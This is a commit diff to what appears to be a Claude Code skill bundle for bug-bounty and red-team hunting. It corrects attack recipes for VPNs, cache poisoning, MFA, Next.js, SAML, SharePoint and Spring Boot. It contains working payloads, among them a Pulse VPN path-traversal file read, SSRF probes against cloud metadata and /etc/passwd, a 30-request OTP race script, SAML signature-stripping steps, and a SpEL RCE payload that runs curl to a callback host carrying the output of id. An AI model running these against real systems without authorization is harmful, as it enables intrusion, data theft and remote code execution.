Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

fix: surgical accuracy corrections for 21 SEVERE+HIGH skills (audit)

Sachin Sharmae0d2d2e3860b
diff --git a/skills/bugcrowd-reporting/SKILL.md b/skills/bugcrowd-reporting/SKILL.md
index ee9e50c..961dca8 100644
--- a/skills/bugcrowd-reporting/SKILL.md
+++ b/skills/bugcrowd-reporting/SKILL.md
@@ -13,7 +13,9 @@ This skill encodes patterns that apply specifically to Bugcrowd's submission flo
## 1. VRT Category Selection — Search & Fallback Strategy
-Bugcrowd's submission form requires a single VRT (Vulnerability Rating Taxonomy) selection. The dropdown's default severity is bound to the chosen node — pick wrong and the form auto-suggests P4 when the actual impact is P3 or P2.
+Bugcrowd's submission form requires a single VRT (Vulnerability Rating Taxonomy) selection. The dropdown's default severity is bound to the chosen node — pick wrong and the form auto-suggests a lower priority (often P4) when the actual impact is P3 or P2.
+
+> Note: VRT default severities are not fixed constants. Bugcrowd revises the VRT schema across versions, and individual programs can remap defaults via their own priority configuration. The P-values shown in the examples below (e.g., "No Rate Limiting on Form → Login" defaulting to P4) are the typical baseline at time of writing — always read the severity the *current* form actually auto-suggests for *this* program rather than assuming the value here.
### 1.1 Search hierarchy (try in order, pick the highest-severity match that still describes the bug)
@@ -171,9 +173,9 @@ Many high-impact findings are chains of two or more standalone primitives (oracl
### 5.1 Filing strategy for chains
1. **Identify the highest-severity chained outcome** (typically the one that maps to a P1/P2 example in the program's Focus Areas).
-2. **File the chain consumer FIRST** — the report whose body describes the full ATO/RCE/etc. impact. Use the chained severity (e.g., P1).
-3. **Within minutes, file the chain primitives** as separate reports — each at its standalone severity (typically P3/P4) but cross-referencing the consumer.
-4. **In each primitive's body**, explicitly note: *"Chain partner: submission [UUID] for the full impact narrative."*
+2. **File the chain primitives FIRST** as separate reports — each at its standalone severity (typically P3/P4). A submission's UUID only exists *after* it is filed, so the primitives must exist before anything can reference them. Leave the cross-reference line in each primitive's body as a placeholder for now.
+3. **File the chain consumer** — the report whose body describes the full ATO/RCE/etc. impact at the chained severity (e.g., P1). Because the primitives already exist, fill in their real UUIDs in the consumer's "Chain partners" block (per §5.2).
+4. **Edit each primitive after filing the consumer** to backfill the consumer's UUID: *"Chain partner: submission [UUID] for the full impact narrative."* (The reference is bidirectional, so one report must be edited after the other is filed — Bugcrowd allows post-submission edits to the description body.)
### 5.2 Cross-reference template
@@ -273,8 +275,8 @@ When you have multiple findings from a single engagement, the order matters.
### 8.1 Recommended order
-1. **The highest-severity, best-evidenced finding first.** Locks in your timestamp on the most valuable bug. If it's a chain consumer, follow with the chain primitives within an hour.
-2. **Cross-referenced primitives next.** File each within an hour of the chain consumer so the cross-references are tight.
+1. **Chain primitives before their consumer.** A consumer references the primitives' report UUIDs, which only exist once the primitives are filed (see §5.1). File the best-evidenced primitive first to lock your timestamp, then the rest of the chain's primitives.
+2. **The chain consumer next** — fill in the real primitive UUIDs, then edit each primitive to backfill the consumer's UUID (Bugcrowd allows post-submission body edits).
3. **Standalone P3 findings next.** Order by quality of evidence: best-evidenced first, riskier (OOS-adjacent) findings later.
4. **OOS-risky findings last.** By the time these land, you've established a credible track record on this engagement.
diff --git a/skills/enterprise-vpn-attack/SKILL.md b/skills/enterprise-vpn-attack/SKILL.md
index 1735694..b860662 100644
--- a/skills/enterprise-vpn-attack/SKILL.md
+++ b/skills/enterprise-vpn-attack/SKILL.md
@@ -179,7 +179,7 @@ curl -sk -X POST 'https://target/ssl-vpn/login.esp' \
| **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` |
| **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei |
| **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST /api/v1/totp/user-backup-code/` with crafted body |
-| **CVE-2024-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |
+| **CVE-2023-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |
```bash
# CVE-2019-11510 — Pulse file read
diff --git a/skills/hunt-business-logic/SKILL.md b/skills/hunt-business-logic/SKILL.md
index 5d9df58..58a3ab4 100644
--- a/skills/hunt-business-logic/SKILL.md
+++ b/skills/hunt-business-logic/SKILL.md
@@ -105,11 +105,13 @@ curl -s https://target.com/assets/app.js | grep -oE '"/[a-zA-Z0-9/_-]{3,50}"' |
**Email verification bypass:**
```bash
-# Access monitoring/protected features directly without completing verification
-curl -s https://monitor.target.com/dashboard \
- -H "Cookie: session=<your_session>" \
- # Try skipping directly to the post-verification endpoint
-
+# Skip the verification step: hit the post-verification API endpoint directly
+# with an unverified session. If it succeeds, the gate is UI-only.
+curl -s -X POST https://monitor.target.com/api/monitoring/enable \
+ -H "Cookie: session=<your_unverified_session>" \
+ -H "Content-Type: application/json" \
+ -d '{"email":"[email protected]"}'
+
# Replay verification token on different account
curl -X POST https://target.com/verify \
-d 'token=VALID_TOKEN_FROM_ACCOUNT_A&[email protected]'
@@ -155,7 +157,7 @@ grep -iE "x-forwarded-for|x-real-ip|cf-connecting-ip" src/ -r
| CAPTCHA on subscription forms | Use header-based bypass first; if CAPTCHA is only on the web form, call the underlying API endpoint directly |
| Email verification gate | Access the post-verification API endpoint directly; replay valid tokens; check if `verified=true` is a client-set cookie/param |
| Payment amount server validation | Modify currency to a lower-value currency; test with $0.00 or negative amounts; manipulate order IDs to reference different products |
-| Webhook HMAC validation | Test with no signature header; test with empty signature; test replay of a previously captured valid webhook with modified payload |
+| Webhook HMAC validation | Test with no/empty signature header (is validation enforced at all — a modified payload only "passes" if it isn't); replay an UNMODIFIED captured webhook to test missing idempotency/anti-replay |
| Auth on internal pages | Try unauthenticated; try with a low-privilege account; try path traversal variants (`/employee/../employee/`) |
| Phone verification (OTP sent) | Submit someone else's number without OTP validation; check if the system grants trust on submission vs. OTP confirmation |
diff --git a/skills/hunt-cache-poison/SKILL.md b/skills/hunt-cache-poison/SKILL.md
index abaefcf..bfc4aff 100644
--- a/skills/hunt-cache-poison/SKILL.md
+++ b/skills/hunt-cache-poison/SKILL.md
@@ -66,7 +66,7 @@ X-HTTP-Method-Override
2. **Identify cache key components.** Send two identical requests — if `Age` increments, the response is cached. Vary headers one-by-one (e.g., add `X-Forwarded-Host`) to determine which headers are NOT included in the cache key (unkeyed).
-3. **Test unkeyed header reflection.** Add `X-Forwarded-Host: evil.com` and check if the value appears in the response body (redirects, canonical links, CSP headers, JS src attributes, meta tags). Do this on a cache MISS to avoid poisoning yourself first.
+3. **Test unkeyed header reflection.** Add `X-Forwarded-Host: evil.com` and check if the value appears in the response body (redirects, canonical links, CSP headers, JS src attributes, meta tags). Append a unique cache-busting query parameter (e.g. `?cb=<random>`) so the probe lands on a cache MISS under a throwaway key — this verifies reflection without prematurely storing a live poison entry under the real, victim-shared cache key. (Param Miner's "Guess headers" mode is the canonical Burp tool for discovering these unkeyed headers/parameters automatically.)
4. **Test URL path manipulation (Web Cache Deception).** Append fake static extensions to dynamic endpoints:
- `GET /account/profile.css`
@@ -120,9 +120,11 @@ curl -s "https://target.com/account/profile.css"
**Force cache miss to test poison without hitting cached version:**
```bash
-curl -s -H "Cache-Control: no-cache" \
- -H "X-Forwarded-Host: canary.attacker.com" \
- "https://target.com/page"
+# Use a unique cache-busting query param to land on a fresh key — do NOT rely on
+# client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
+# skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
+curl -s -H "X-Forwarded-Host: canary.attacker.com" \
+ "https://target.com/page?cb=$RANDOM"
```
**DoS via poisoned error response:**
@@ -244,46 +246,52 @@ An attacker discovered that the Linkpop affiliate link service would cache respo
---
-## Disclosed Report Citations (Backfill +6 — 2017-2024)
+## Disclosed Report Citations (2017-2024)
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans the two major families: cache **poisoning** (attacker influences a cached response served to victims) and cache **deception** (attacker tricks the cache into storing a victim's private response).
-5. **Shopify — Cache poisoning via X-Forwarded-Host** ([H1 #977851](https://hackerone.com/reports/977851))
+1. **Shopify — Cache poisoning via X-Forwarded-Host** ([H1 #977851](https://hackerone.com/reports/977851))
- Subclass: X-Forwarded-Host header poisoning (unkeyed input → redirect/script-src corruption)
- Payload: `GET /any-path` with `X-Forwarded-Host: attacker.com` — single request persisted attacker host in cached response across `apps.shopify.com` and localized subdomains
- Root cause: X-Forwarded-Host influenced asset/redirect URL generation but was NOT part of the cache key
- Year: 2020 — **$1,300 → escalated to $6,300** (one-shot poison, multi-host blast radius)
-6. **HackerOne — Cache poisoning DoS via X-Forwarded-Port** ([H1 #409370](https://hackerone.com/reports/409370))
+2. **HackerOne — Cache poisoning DoS via X-Forwarded-Port** ([H1 #409370](https://hackerone.com/reports/409370))
- Subclass: X-Forwarded-Host / X-Forwarded-Port DoS (poisoned redirect to invalid port)
- Payload: `GET /<redirect-path>` with `X-Forwarded-Port: 1` — cached 301 redirect pointed legitimate users at port 1, breaking access
- Root cause: trusted X-Forwarded-* headers in 301 redirect generation; cache stored the bad Location
- Year: 2018 — **$2,500** (foundational H1-on-H1 case)
-7. **GitLab — Cache poisoning DoS via X-HTTP-Method-Override** ([H1 #1160407](https://hackerone.com/reports/1160407))
+3. **GitLab — Cache poisoning DoS via X-HTTP-Method-Override** ([H1 #1160407](https://hackerone.com/reports/1160407))
- Subclass: method-cloaking / GCS cache-key bleed (HEAD response stored under GET key)
- Payload: `GET /assets/webpack/*.js` with `X-HTTP-Method-Override: HEAD` — GCS backend honored the override and returned an empty body; CDN cached it as the canonical GET response
- Root cause: CDN cache not method-aware; HEAD body (empty) overwrote GET entry for cached static assets
- Year: 2021 — **$2,500** (DoS normally OOS, paid for novelty)
-8. **PayPal — Web Cache Deception (Omer Gil original)** ([Blog](https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html))
+4. **PayPal — Web Cache Deception (Omer Gil original)** ([Blog](https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html))
- Subclass: classic WCD via `.css`/`.jpg`/etc. path appending on authenticated routes
- Payload: `GET https://www.paypal.com/myaccount/home/foo.css` — origin served full authenticated account page; CDN cached it as "static .css" for ~5 hours
- Root cause: origin routed unknown path suffixes to the parent dynamic handler; CDN cached based purely on the static-looking file extension
- Year: 2017 — **$3,000** (PortSwigger Top-10 Web Hacking Technique of 2017, #2)
-9. **Cloudflare PBB — Cache Deception Armor bypass via `.avif`** ([H1 #1391635](https://hackerone.com/reports/1391635))
+5. **Cloudflare PBB — Cache Deception Armor bypass via `.avif`** ([H1 #1391635](https://hackerone.com/reports/1391635))
- Subclass: CDN-specific allowlist bypass (Cloudflare's WCD protection feature) using an obscure image extension
- Payload: `GET https://<protected-origin>/account/me.avif` — Cloudflare's Cache Deception Armor extension list omitted `.avif`, so the authenticated HTML response was cached
- Root cause: Cache Deception Armor used a static, incomplete extension allowlist that did not cover modern image MIME types
- Year: 2022 — Cloudflare PBB bounty (amount undisclosed)
-10. **Akamai (PayPal/Airbnb/Goldman Sachs) — Hop-by-hop header smuggling → server-side edge poisoning** ([Tediosi & Mariani writeup](https://medium.com/@jacopotediosi/worldwide-server-side-cache-poisoning-on-all-akamai-edge-nodes-50k-bounty-earned-f97d80f3922b))
+6. **Akamai (PayPal/Airbnb/Goldman Sachs) — Hop-by-hop header smuggling → server-side edge poisoning** ([Tediosi & Mariani writeup](https://medium.com/@jacopotediosi/worldwide-server-side-cache-poisoning-on-all-akamai-edge-nodes-50k-bounty-earned-f97d80f3922b))
- Subclass: CDN-specific request-smuggling that lands attacker responses in Akamai's edge cache for nearby IPs
- Payload: `Connection: Content-Length` + crafted request — Akamai's first proxy stripped Content-Length as hop-by-hop, second proxy treated body as a second request whose response was cached at the edge
- Root cause: inconsistent handling of hop-by-hop headers across Akamai proxy tiers caused desync; smuggled responses were server-side cached globally
- Year: 2022 — **>$50K total** across affected programs (PayPal $25,200 + Airbnb $14,875 + Goldman Sachs $100), PortSwigger Top-10 Web Hacking Techniques 2022 nominee
+7. **James Kettle (PortSwigger) — "Gotta cache 'em all": path-normalization & WCD against Cloudflare/Fastly/GCP** ([PortSwigger Research](https://portswigger.net/research/gotta-cache-em-all))
+ - Subclass: cache-key path normalization discrepancies and Web Cache Deception across major CDNs (Cloudflare, Fastly, GCP/Google Cloud) — the 2024 research named in this skill's description
+ - Payload: origin-vs-cache delimiter/normalization disagreements (e.g. encoded path segments and static-suffix tricks) that cause the cache to store a dynamic/authenticated response under a static-looking key
+ - Root cause: cache and origin disagree on how to normalize/parse the URL path, so the cache key does not match the resource the origin actually served
+ - Year: 2024 — coordinated CDN-vendor disclosure; methodology research (no single bounty), PortSwigger Top-10 Web Hacking Techniques 2024 entry
+
---
## Related Skills & Chains
diff --git a/skills/hunt-mfa-bypass/SKILL.md b/skills/hunt-mfa-bypass/SKILL.md
index 95f69f6..c959abd 100644
--- a/skills/hunt-mfa-bypass/SKILL.md
+++ b/skills/hunt-mfa-bypass/SKILL.md
@@ -53,9 +53,14 @@ async def verify(session, otp):
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
- # Send same OTP simultaneously from two browsers
- results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
- print(results)
+ # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
+ # window before the server marks it used. Two requests are NOT enough —
+ # they almost always resolve sequentially as "already-used" (false negative).
+ # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
+ results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
+ # Race confirmed if >1 success (or 1 success among many "already-used").
+ for status, body in results:
+ print(status, body)
asyncio.run(race())
```
diff --git a/skills/hunt-nextjs/SKILL.md b/skills/hunt-nextjs/SKILL.md
index 455185d..dce9e40 100644
--- a/skills/hunt-nextjs/SKILL.md
+++ b/skills/hunt-nextjs/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-nextjs
description: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.
-sources: hackerone_public, cve_database, portswigger_research
-report_count: 19
+sources: "cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories"
+report_count: 0
---
# HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
@@ -107,16 +107,27 @@ curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
-# OOB detection
-COLLAB="http://COLLAB_HOST"
+# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
+COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
-# Check Interactsh/Burp Collaborator for DNS/HTTP callback
-
-# CVE-2024-34351 — Host header SSRF via image optimizer
-curl -s "https://$TARGET/_next/image?url=http://target.com/image.png&w=64&q=75" \
- -H "Host: evil.com"
+# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
```
+**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
+fetches URLs allowed by `images.remotePatterns` / `images.domains` in
+`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
+the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
+returns an *optimized image*, not the upstream response body, so a status code
+alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
+Collaborator subdomain** (above), or by body-diffing a known-internal vs
+known-external target. Do not report on status code.
+
+> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
+> through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
+> redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
+> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
+> Actions surface.
+
---
## Phase 5 — `/_next/data/` IDOR & Data Leakage
@@ -148,7 +159,15 @@ curl -s "https://$TARGET/dashboard" | \
# 2. Injected content cached and served to all users
# Test: does query param affect cached page content?
-curl -s "https://$TARGET/blog/test-post?preview=<script>alert(1)</script>" | grep "script"
+# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
+# and confirm the response was actually CACHED + served to a DIFFERENT client.
+MARK="zqx$(date +%s)"
+# 1) Poison with the marker
+curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
+# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
+# Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
+# marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
+curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
# On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
@@ -159,12 +178,22 @@ curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
## Phase 7 — Debug & Stack Frame Endpoints
+**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`
+are react-dev-overlay middleware mounted ONLY under `next dev`. A production
+build (`next build && next start`) does not register these routes — a 404 here
+is the normal, expected result, not a "filter" you need to bypass. They are
+reachable ONLY in the rare misconfiguration of literally running `next dev` in
+production. Treat any non-404 as the real finding; do NOT report a 404/filtered
+response as confirmation.
+
```bash
-# Next.js dev-mode endpoints sometimes leak to production
-curl -s "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
-curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
+# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
+curl -s -o /dev/null -w "%{http_code}" \
+ "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
-# Error overlay endpoint — file read primitive in misconfigured prod
+# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
+# reference local files (file-read surface of a dev server wrongly exposed)
+curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
--data '{"file":"/etc/passwd","line":1,"column":1}'
```
diff --git a/skills/hunt-open-redirect/SKILL.md b/skills/hunt-open-redirect/SKILL.md
index 33e6af6..86b20f0 100644
--- a/skills/hunt-open-redirect/SKILL.md
+++ b/skills/hunt-open-redirect/SKILL.md
@@ -59,7 +59,6 @@ Open redirect alone is Low. Chained to OAuth = Critical (ATO).
| URL encoding | `%2Fevil.com` |
| Null byte | `evil.com%00target.com` |
| Whitespace | `evil.com%09` or `%20` |
-| CRLF in URL | `evil.com%0d%0aLocation: https://attacker.com` |
| JavaScript URI | `javascript:window.location='https://evil.com'` |
| Data URI | `data:text/html,<script>window.location='https://evil.com'</script>` |
| Subdomain | `https://target.com.evil.com` |
diff --git a/skills/hunt-saml/SKILL.md b/skills/hunt-saml/SKILL.md
index 68c3bc0..02e3ee6 100644
--- a/skills/hunt-saml/SKILL.md
+++ b/skills/hunt-saml/SKILL.md
@@ -1,6 +1,6 @@
---
name: hunt-saml
-description: "Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW1-XSW8) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID ([email protected]<!--evil-->@attacker.com → some parsers see [email protected]), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Real paid examples on Auth0, Okta, Microsoft, custom SAML implementations. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation."
+description: "Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID ([email protected]<!--evil-->@attacker.com → some parsers see [email protected]), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation."
---
## 20. SAML / SSO ATTACKS
@@ -38,11 +38,15 @@ cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
### Attack 2: Comment Injection in NameID
```xml
-<!-- XML strips comments before passing to app -->
-<NameID>admin<!---->@company.com</NameID>
-<!-- Signature computed over: "[email protected]" (with comment) -->
-<!-- App receives: "[email protected]" (comment stripped) -->
-<!-- Works when signer and processor handle comments differently -->
+<!-- Attacker registers/controls account: [email protected] -->
+<NameID>[email protected]<!---->.evil.com</NameID>
+<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
+ digest): "[email protected]" — the value the signature covers. -->
+<!-- App's XML processor also strips the comment but only reads the text node
+ UP TO the comment boundary: "[email protected]" — a DIFFERENT effective
+ identity than was signed. The discrepancy is the bug. -->
+<!-- Works when signer's C14N and app's text extraction disagree on comments.
+ CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
```
### Attack 3: Signature Stripping
@@ -50,7 +54,7 @@ cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
-4. Re-encode: cat saml.xml | gzip | base64 -w0 (or just base64 -w0)
+4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
```
diff --git a/skills/hunt-sharepoint/SKILL.md b/skills/hunt-sharepoint/SKILL.md
index 344aa56..eda26a0 100644
--- a/skills/hunt-sharepoint/SKILL.md
+++ b/skills/hunt-sharepoint/SKILL.md
@@ -191,7 +191,7 @@ HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx
**Severity:** Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if `__VIEWSTATEENCRYPTED` is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).
- **IMPORTANT:** Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. Public exploits (`ysoserial.net`, etc.) require `<machineKey>` recovery as a separate primitive.
+ **IMPORTANT:** Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The `<machineKey>` (ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed `__VIEWSTATE` for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.
5. **NTLM Type-2 AD topology disclosure.** Cross-reference `hunt-ntlm-info` for full methodology. Quick check:
@@ -361,7 +361,7 @@ curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Micros
| `MicrosoftSharePointTeamServices` header stripped at ELB | Body of `/_layouts/15/start.aspx` leaks version anyway; also `/_api/contextinfo`'s `LibraryVersion` |
| `/_vti_bin/lists.asmx` 403 (SharedAccess.asmx / Authentication.asmx still open) | Different services have different ACLs; enumerate all asmx separately |
| `/_api/web/CurrentUser` 401 with stack-trace JSON | Stack traces leak even on auth-deny responses; combine with version disclosure |
-| Anonymous `__REQUESTDIGEST` issued (ToolShell precondition) | Pair with anonymous ToolPane POST + unencrypted ViewState; chain to RCE via machineKey recovery |
+| Anonymous `__REQUESTDIGEST` issued (ToolShell precondition) | Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation |
| Custom error pages set | Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see `hunt-aspnet`) |
| WAF blocks `<` in query | Move payload to Cookie / Referer / SOAP body — request validator doesn't reach those contexts |
| `Microsoft.SharePoint.WebPartPages.DataFormWebPart` blocked via SafeControl patch | Enumerate SafeControl list; find a subclass that bypasses the inheritance gate |
@@ -433,5 +433,5 @@ Same target. Feeding `Microsoft.SharePoint.WebPartPages.DataFormWebPart` (the ca
- **`hunt-auth-bypass`** — Legacy SOAP `/_vti_bin/Authentication.asmx` accepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential → `hunt-auth-bypass` brute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred → `/_layouts/15/` authenticated surface.
- **`hunt-ntlm-info`** — Every SharePoint farm advertises `WWW-Authenticate: NTLM` anonymously on `/_vti_bin/`. Chain primitive: SharePoint NTLM Type-2 challenge capture → `hunt-ntlm-info` AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain into `m365-entra-attack` ROPC user-enumeration spray on tenant tied to that domain.
- **`hunt-aspnet`** — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing → `hunt-aspnet` ViewState dual-parser MAC-bypass → deserialization gadget → RCE in `w3wp.exe` as farm account.
-- **`hunt-rce`** — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (`/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx` reachable + version vulnerable) → `hunt-rce` deserialization gadget chain → SYSTEM/farm-account shell → `m365-entra-attack` lateral via stolen on-prem service-account token to Entra-synced identity.
+- **`hunt-rce`** — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (`/_layouts/15/ToolPane.aspx?DisplayMode=Edit` reachable via the CVE-2025-49706 auth bypass — a crafted `Referer` header pointing at ToolPane.aspx — + version vulnerable) → `hunt-rce` deserialization gadget chain → SYSTEM/farm-account shell → `m365-entra-attack` lateral via stolen on-prem service-account token to Entra-synced identity.
- **`triage-validation`** — SharePoint farms generate a lot of "looks like a finding" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at "is this actually exploitable on this farm" without a paired CVE PoC.
diff --git a/skills/hunt-springboot/SKILL.md b/skills/hunt-springboot/SKILL.md
index a02283a..ae6dbef 100644
--- a/skills/hunt-springboot/SKILL.md
+++ b/skills/hunt-springboot/SKILL.md
@@ -53,8 +53,14 @@ ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
"flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do
- STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE/$EP")
- [ "$STATUS" = "200" ] && echo "[+] EXPOSED: $BASE/$EP"
+ # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
+ # page for many paths. Require actuator-shaped JSON (or a heapdump body)
+ # before calling it EXPOSED.
+ BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
+ CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
+ if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
+ echo "[+] EXPOSED: $BASE/$EP"
+ fi
done
# Get environment variables (passwords, API keys)
@@ -120,7 +126,7 @@ curl -s "https://$TARGET/console" | grep -i "H2"
```bash
# Spring Expression Language injection in user-controlled fields
-# Test: ${7*7} or #{7*7} → should not return 49 in response
+# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
# Common injection points:
# - Email template fields: "Hello ${name}"
@@ -134,10 +140,12 @@ curl -s -X POST "https://$TARGET/api/user/name" \
-d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed
-# RCE payload
+# RCE payload — note: exec() returns a Process, not a String, so a bare
+# exec("id") produces NO visible output. Confirm via an OOB curl callback
+# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
- -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(\"id\")}"}'
+ -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
@@ -150,7 +158,8 @@ curl -s -X POST "https://$TARGET/functionRouter" \
## Phase 6 — Spring4Shell (CVE-2022-22965)
```bash
-# Affects: Spring Framework 5.3.0-5.3.17, 5.2.0-5.2.19
+# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
